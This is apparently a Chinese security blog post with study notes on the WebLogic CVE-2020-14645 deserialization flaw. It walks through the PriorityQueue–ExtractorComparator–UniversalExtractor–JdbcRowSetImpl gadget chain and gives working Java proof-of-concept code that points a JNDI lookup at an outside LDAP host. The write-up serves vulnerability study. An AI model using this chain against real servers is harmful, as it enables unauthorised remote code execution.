Weblogic CVE-2020-14645(bypass CVE-2020-2883补丁)

前言:作为CVE-2020-14645的学习笔记

介绍

Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。

该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将MvelExtractor和ReflectionExtractor列入黑名单,因此需要另外寻找一个存在extract且方法内存在恶意操作的类即可绕过补丁。

同样的,这里找到的是 Weblogic 12.2.1.4.0 Coherence 组件特有的类 com.tangosol.util.extractor.UniversalExtractor,因此只能影响 Weblogic 12.2.1.4.0。

漏洞分析

环境:

1、Weblogic 12.2.1.4.0

2、jdk8u181

这里继续来观察MvelExtractor的接口结构

Comparator主要用在排序等场景,例如排序算法中,将两个对象的对比交给实现了Comparator实现的接口的对象。

反序列化链为如下:

- PriorityQueue#readObject 
  -  ExtractorComparator#compare
   -  this.m_extractor.extract 
    -  UniversalExtractor#extract 
     -  UniversalExtractor#extractComplex 
      -  method.invoke#205 
       -  JdbcRowSetImpl#getDatabaseMetaData

通过上面的调用链可以清楚的看到,入口点是PriorityQueue,在CC利用链中学习过,这里就不记录了,自己博客已经有相关记录了。

然后看ExtractorComparator,可以先看下它的结构关系,可以看到实现了Comparator的接口

且其中的ExtractorComparator,可以发现如下信息

1、m_extractor字段属性可控

2、compare方法中调用了extract方法,参数为可控的字段this.m_extractor

3、实现了序列化的方法

这里的话compare的两个参数由PriorityQueue对象可控(提及一下)

那么到了这里我们就已经实现了只要是Compare接口类实现的任意类的extract方法(一个参数)调用过程

那么找相关满足条件的对象,这里的话利用的就是com.tangosol.util.extractor.UniversalExtractor,这个类通过发现是没有实现自定义的序列化的,又因为这里的this.m_cacheTarget是瞬时字段,所以不可控,导致extract走的就是return this.extractComplex(oTarget);方法

    public E extract(T oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            TargetReflectionDescriptor targetPrev = this.m_cacheTarget;

            try {
                if (targetPrev != null && oTarget.getClass() == targetPrev.getTargetClass()) {
                    return targetPrev.isMap() ? ((Map)oTarget).get(this.getCanonicalName()) : targetPrev.getMethod().invoke(oTarget, this.m_aoParam);
                } else {
                    return this.extractComplex(oTarget);
                }
            } catch (NullPointerException var4) {
                throw new RuntimeException(this.suggestExtractFailureCause(oTarget.getClass()));
            } catch (Exception var5) {
                throw ensureRuntimeException(var5, oTarget.getClass().getName() + this + '(' + oTarget + ')');
            }
        }
    }

来看extractComplex方法,可以看出这里面相当于一次任意类的方法的调用

String sCName = this.getCanonicalName();,这个方法是如何来获取方法名的呢?跟进去看下

可以看到该方法会先调用getValueExtractorCanonicalName,它会判断当前的对象是不是AbstractRemotableLambda,这里的话不是,则默认返回null

接着开始调用computeValueExtractorCanonicalName方法,参数为构造方法中的传入的方法名和该方法对应的参数类型,其过程如下

最终拿到对应的方法,如下图所示

所以到这里的话,这个UniversalExtractor类就相当于一次任意类的getXXXXXX(任意参数)格式方法的调用,条件为如下

1、方法名前缀为get开头

这里自己创建一个类来进行演示,类似如下图所示

MyTest.java

public class MyTest implements Serializable {
    public String getName(){
        return "123";
    }
}

CVE_2020_14645.java

public class CVE_2020_14645 {
    public static void main(String[] args) {
        UniversalExtractor universalExtractor = new UniversalExtractor("getName()", new Object[]{}, 1);
        Object extract = universalExtractor.extract(new MyTest());
        System.out.println(extract);
    }
}

可以看到调用了getName()方法,如下图所示

那么现在就是找到相关的getXXXXXXX 这种格式的方法,并且还需要实现序列化,并且方法中能够进行利用,这里的话利用的就是com.sun.rowset.JdbcRowSetImpl其中的getDatabaseMetaData方法通过JNDI注入来进行反序列化

如下图所示:

    public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }

那么来试下是否可以进行JDNI注入,测试代码如下

发现是可以进行jndi连接的,如下图所示

最后构建的反序列化代码为如下

public class CVE_2020_14645 {
    public static void main(String[] args) throws Exception{
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://kl332k.dnslog.cn");

        UniversalExtractor universalExtractor = new UniversalExtractor("getDatabaseMetaData()", new Object[]{}, 1);
        ExtractorComparator extractorComparator = new ExtractorComparator();
        Field m_extractor = extractorComparator.getClass().getDeclaredField("m_extractor");
        m_extractor.setAccessible(true);
        m_extractor.set(extractorComparator, universalExtractor);

//        extractorComparator.compare(universalExtractor, universalExtractor);

        PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);
        priorityQueue.add(1);
        priorityQueue.add(jdbcRowSet);

        Method heapify = priorityQueue.getClass().getDeclaredMethod("heapify");
        heapify.setAccessible(true);
        heapify.invoke(priorityQueue, null);
    }
}

测试如下所示

自己感觉这个漏洞局限性太大仅限于12.2.1.4.0,这篇笔记记录完毕。

下篇记录学习关于Weblogic T3协议的反序列化的回显方法,因为学习weblogic主要为了两个方面,一个是集成在自己扫描器中的poc模块,然后一方面就是了解weblogic的内存马。

回显参考:https://www.cnblogs.com/zpchcbd/p/15629063.html

POC集成已经全部都写好了,放到扫描器中了,https://github.com/chibd2000/myscan/

posted @ 2021-12-03 22:14  zpchcbd  阅读(524)  评论(0)    收藏  举报